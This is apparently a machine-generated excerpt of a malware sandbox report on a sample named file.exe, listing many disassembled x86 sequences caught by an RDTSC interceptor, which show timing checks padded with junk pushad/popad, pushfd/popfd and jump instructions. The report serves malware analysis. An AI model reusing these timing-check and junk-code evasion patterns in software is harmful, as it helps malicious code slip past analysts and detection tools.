Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70E1C second address: 4B70E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70E22 second address: 4B70E8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 1Fh 0x0000000b jmp 00007F488C756CFAh 0x00000010 ror eax, cl 0x00000012 pushad 0x00000013 mov bx, cx 0x00000016 pushfd 0x00000017 jmp 00007F488C756CFAh 0x0000001c jmp 00007F488C756D05h 0x00000021 popfd 0x00000022 popad 0x00000023 leave 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F488C756D03h 0x0000002d jmp 00007F488C756D03h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70E8C second address: 4B70EB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F488D045402h 0x00000009 and eax, 3A7E6C48h 0x0000000f jmp 00007F488D0453FBh 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70EB6 second address: 4B70ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 retn 0004h 0x0000000a nop 0x0000000b mov esi, eax 0x0000000d lea eax, dword ptr [ebp-08h] 0x00000010 xor esi, dword ptr [00562014h] 0x00000016 push eax 0x00000017 push eax 0x00000018 push eax 0x00000019 lea eax, dword ptr [ebp-10h] 0x0000001c push eax 0x0000001d call 00007F4890DA7BC6h 0x00000022 push FFFFFFFEh 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F488C756CFBh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70ECF second address: 4B70ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70ED5 second address: 4B70ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70ED9 second address: 4B70F3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D0453FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F488D0453FBh 0x00000015 adc cl, FFFFFFEEh 0x00000018 jmp 00007F488D045409h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F488D045400h 0x00000024 sbb si, 4368h 0x00000029 jmp 00007F488D0453FBh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70F3A second address: 4B80008 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F488C756CFFh 0x00000009 adc ch, FFFFFFAEh 0x0000000c jmp 00007F488C756D09h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 ret 0x00000018 nop 0x00000019 push eax 0x0000001a call 00007F4890DB6CFFh 0x0000001f mov edi, edi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov al, 66h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80008 second address: 4B80024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D0453FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ax, 1AEDh 0x0000000f push eax 0x00000010 push edx 0x00000011 mov bl, al 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80024 second address: 4B80058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F488C756D01h 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov si, 0D39h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30008 second address: 4B3000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3000C second address: 4B30012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30012 second address: 4B3008E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D0453FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F488D0453FCh 0x00000010 mov edi, esi 0x00000012 pop eax 0x00000013 mov edi, 181255F2h 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F488D045408h 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F488D0453FDh 0x00000029 xor si, D976h 0x0000002e jmp 00007F488D045401h 0x00000033 popfd 0x00000034 call 00007F488D045400h 0x00000039 pop eax 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3008E second address: 4B30094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30094 second address: 4B300CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov di, 1586h 0x0000000f popad 0x00000010 and esp, FFFFFFF8h 0x00000013 jmp 00007F488D0453FDh 0x00000018 xchg eax, ecx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F488D045402h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B300CC second address: 4B300FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756CFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop esi 0x0000000f call 00007F488C756D07h 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B300FA second address: 4B30138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F488D045404h 0x00000009 jmp 00007F488D045405h 0x0000000e popfd 0x0000000f mov bl, ah 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx edi, ax 0x0000001b movzx eax, dx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30138 second address: 4B30206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F488C756CFEh 0x00000013 sub eax, 36E13408h 0x00000019 jmp 00007F488C756CFBh 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebx, dword ptr [ebp+10h] 0x00000023 jmp 00007F488C756D05h 0x00000028 xchg eax, esi 0x00000029 jmp 00007F488C756CFEh 0x0000002e push eax 0x0000002f pushad 0x00000030 mov al, bl 0x00000032 mov eax, 5119B229h 0x00000037 popad 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a call 00007F488C756D02h 0x0000003f mov bx, si 0x00000042 pop ecx 0x00000043 pushfd 0x00000044 jmp 00007F488C756D07h 0x00000049 jmp 00007F488C756D03h 0x0000004e popfd 0x0000004f popad 0x00000050 mov esi, dword ptr [ebp+08h] 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 movsx edx, si 0x00000059 jmp 00007F488C756CFCh 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30206 second address: 4B30250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D0453FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F488D045406h 0x0000000f push eax 0x00000010 jmp 00007F488D0453FBh 0x00000015 xchg eax, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F488D045405h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30250 second address: 4B30256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30256 second address: 4B3025A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3025A second address: 4B3027F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F488C756CFFh 0x0000000f je 00007F48FEB55098h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3027F second address: 4B30283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30283 second address: 4B30289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30289 second address: 4B302A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488D045409h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B302A6 second address: 4B30326 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f jmp 00007F488C756CFDh 0x00000014 je 00007F48FEB5505Fh 0x0000001a pushad 0x0000001b mov cl, EAh 0x0000001d popad 0x0000001e mov edx, dword ptr [esi+44h] 0x00000021 pushad 0x00000022 mov edi, esi 0x00000024 pushfd 0x00000025 jmp 00007F488C756CFCh 0x0000002a jmp 00007F488C756D05h 0x0000002f popfd 0x00000030 popad 0x00000031 or edx, dword ptr [ebp+0Ch] 0x00000034 jmp 00007F488C756CFEh 0x00000039 test edx, 61000000h 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F488C756D07h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30326 second address: 4B3033D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov ax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F48FF44374Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3033D second address: 4B30341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30341 second address: 4B30347 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20810 second address: 4B20814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20814 second address: 4B2081A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2081A second address: 4B20855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 42B92D99h 0x00000008 jmp 00007F488C756D06h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F488C756D07h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20855 second address: 4B20881 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F488D0453FAh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20881 second address: 4B2093D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756CFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov dx, ax 0x0000000f mov dh, al 0x00000011 popad 0x00000012 call 00007F488C756D05h 0x00000017 pushfd 0x00000018 jmp 00007F488C756D00h 0x0000001d add eax, 27FDA2A8h 0x00000023 jmp 00007F488C756CFBh 0x00000028 popfd 0x00000029 pop ecx 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d pushad 0x0000002e jmp 00007F488C756D05h 0x00000033 pushfd 0x00000034 jmp 00007F488C756D00h 0x00000039 sbb ax, 5038h 0x0000003e jmp 00007F488C756CFBh 0x00000043 popfd 0x00000044 popad 0x00000045 and esp, FFFFFFF8h 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007F488C756CFBh 0x00000051 jmp 00007F488C756D03h 0x00000056 popfd 0x00000057 mov eax, 0F0EC84Fh 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2093D second address: 4B20976 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045405h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F488D0453FEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F488D0453FEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20A9F second address: 4B20AD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F48FEB5C5DDh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F488C756CFDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20AD1 second address: 4B20AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20AD7 second address: 4B20ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20ADB second address: 4B20BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [76FB6968h], 00000002h 0x0000000f jmp 00007F488D0453FFh 0x00000014 jne 00007F48FF44ACB3h 0x0000001a jmp 00007F488D045406h 0x0000001f mov edx, dword ptr [ebp+0Ch] 0x00000022 jmp 00007F488D045400h 0x00000027 xchg eax, ebx 0x00000028 pushad 0x00000029 mov dl, ah 0x0000002b pushfd 0x0000002c jmp 00007F488D045403h 0x00000031 xor si, 3DEEh 0x00000036 jmp 00007F488D045409h 0x0000003b popfd 0x0000003c popad 0x0000003d push eax 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F488D045407h 0x00000045 or al, FFFFFFFEh 0x00000048 jmp 00007F488D045409h 0x0000004d popfd 0x0000004e pushfd 0x0000004f jmp 00007F488D045400h 0x00000054 or ecx, 44CB1AF8h 0x0000005a jmp 00007F488D0453FBh 0x0000005f popfd 0x00000060 popad 0x00000061 xchg eax, ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 mov cx, dx 0x00000068 pushfd 0x00000069 jmp 00007F488D045407h 0x0000006e add ax, 936Eh 0x00000073 jmp 00007F488D045409h 0x00000078 popfd 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20BFA second address: 4B20C2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F488C756D07h 0x00000008 pop eax 0x00000009 mov di, D72Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 mov dl, ch 0x00000014 movsx edi, si 0x00000017 popad 0x00000018 mov dword ptr [esp], ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20C2D second address: 4B20C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20C31 second address: 4B20C48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20D21 second address: 4B20D43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov edi, 58D800D0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F488D045402h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20D43 second address: 4B20D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20D49 second address: 4B20D4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30D6A second address: 4B30D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30D6E second address: 4B30D72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30D72 second address: 4B30D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30D78 second address: 4B30D7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30D7E second address: 4B30D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30D82 second address: 4B30DAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045408h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ax, 3523h 0x00000013 mov ecx, 274F007Fh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30DAE second address: 4B30DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30DB4 second address: 4B30DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30DB8 second address: 4B30DBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30DBC second address: 4B30DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30DC8 second address: 4B30DD4 instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov cx, 0103h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30B12 second address: 4B30B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30B16 second address: 4B30B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30B1A second address: 4B30B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30B20 second address: 4B30B50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F488C756D05h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0C1C second address: 4BA0C22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0C22 second address: 4BA0C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0C26 second address: 4BA0C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F488D045409h 0x00000011 pushfd 0x00000012 jmp 00007F488D045400h 0x00000017 xor eax, 39A61848h 0x0000001d jmp 00007F488D0453FBh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0C6F second address: 4BA0CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dx, 2378h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 movsx edi, si 0x00000013 pushfd 0x00000014 jmp 00007F488C756D06h 0x00000019 adc cx, BDD8h 0x0000001e jmp 00007F488C756CFBh 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F488C756D04h 0x0000002e adc cx, 0838h 0x00000033 jmp 00007F488C756CFBh 0x00000038 popfd 0x00000039 push eax 0x0000003a push edx 0x0000003b pushfd 0x0000003c jmp 00007F488C756D06h 0x00000041 adc ax, 0298h 0x00000046 jmp 00007F488C756CFBh 0x0000004b popfd 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90F10 second address: 4B90F89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F488D0453FEh 0x00000008 pop ecx 0x00000009 mov edx, 2B855C66h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebp 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F488D045408h 0x00000019 sbb ecx, 064DBC08h 0x0000001f jmp 00007F488D0453FBh 0x00000024 popfd 0x00000025 pushad 0x00000026 mov ax, 9295h 0x0000002a mov di, si 0x0000002d popad 0x0000002e popad 0x0000002f mov dword ptr [esp], ebp 0x00000032 jmp 00007F488D0453FCh 0x00000037 mov ebp, esp 0x00000039 jmp 00007F488D045400h 0x0000003e pop ebp 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90F89 second address: 4B90FA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90FA6 second address: 4B90FAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90FAC second address: 4B90FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90FB0 second address: 4B90FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90CFB second address: 4B90D0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488C756CFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90D0D second address: 4B90D11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90D11 second address: 4B90D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F488C756CFCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F488C756D00h 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F488C756CFAh 0x0000001f xor cx, 8D28h 0x00000024 jmp 00007F488C756CFBh 0x00000029 popfd 0x0000002a popad 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push edi 0x00000030 pop eax 0x00000031 pushfd 0x00000032 jmp 00007F488C756D07h 0x00000037 add si, E71Eh 0x0000003c jmp 00007F488C756D09h 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
